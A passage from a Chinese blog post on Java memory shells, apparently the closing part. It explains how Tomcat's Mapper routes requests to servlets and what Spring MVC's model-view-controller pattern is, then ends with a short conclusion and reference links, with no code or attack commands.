最后,Context 确定后,Mapper 再根据 web.xml 中配置的 Servlet 映射路径来找到具体的 Wrapper 和 Servlet。

具体流程参照下图:

image-20251101232658307

Spring MVC 九大组件

MVC 模式即 Model-View-Controller(模型-视图-控制器) 模式,由控制器(Controller)、模型(Model)和视图(View)构成,参照下图:

image-20251101233107152

简单来说,HTTP请求发送到控制器,控制器处理相应的服务,如果要管理业务数据和业务逻辑,控制器会调用模型层进行相应处理,最后控制器让视图层给出相应的视图。

简单来说,我通过一个URL:http://xxx.xxx.com/getName?id=3 想拿到自己用户的昵称,控制器收到该HTTP请求,让模型层把id=3对应的用户的昵称拿出来,通过视图层返回给用户。

(还没写完,但是要休息了······)

0x06 结语

内存马内容还有很多,比如其他框架内存马,内存马所属框架结构,内存马查杀等等,日后研究罢。

参考文章:

从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)-先知社区

MVC 模式 | 菜鸟教程


© 2024 Pax 使用 Stellar 创建
总访问 0 次 | 本页访问 0

本博客所有文章除特别声明外,均采用 [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/) 许可协议,转载请注明出处。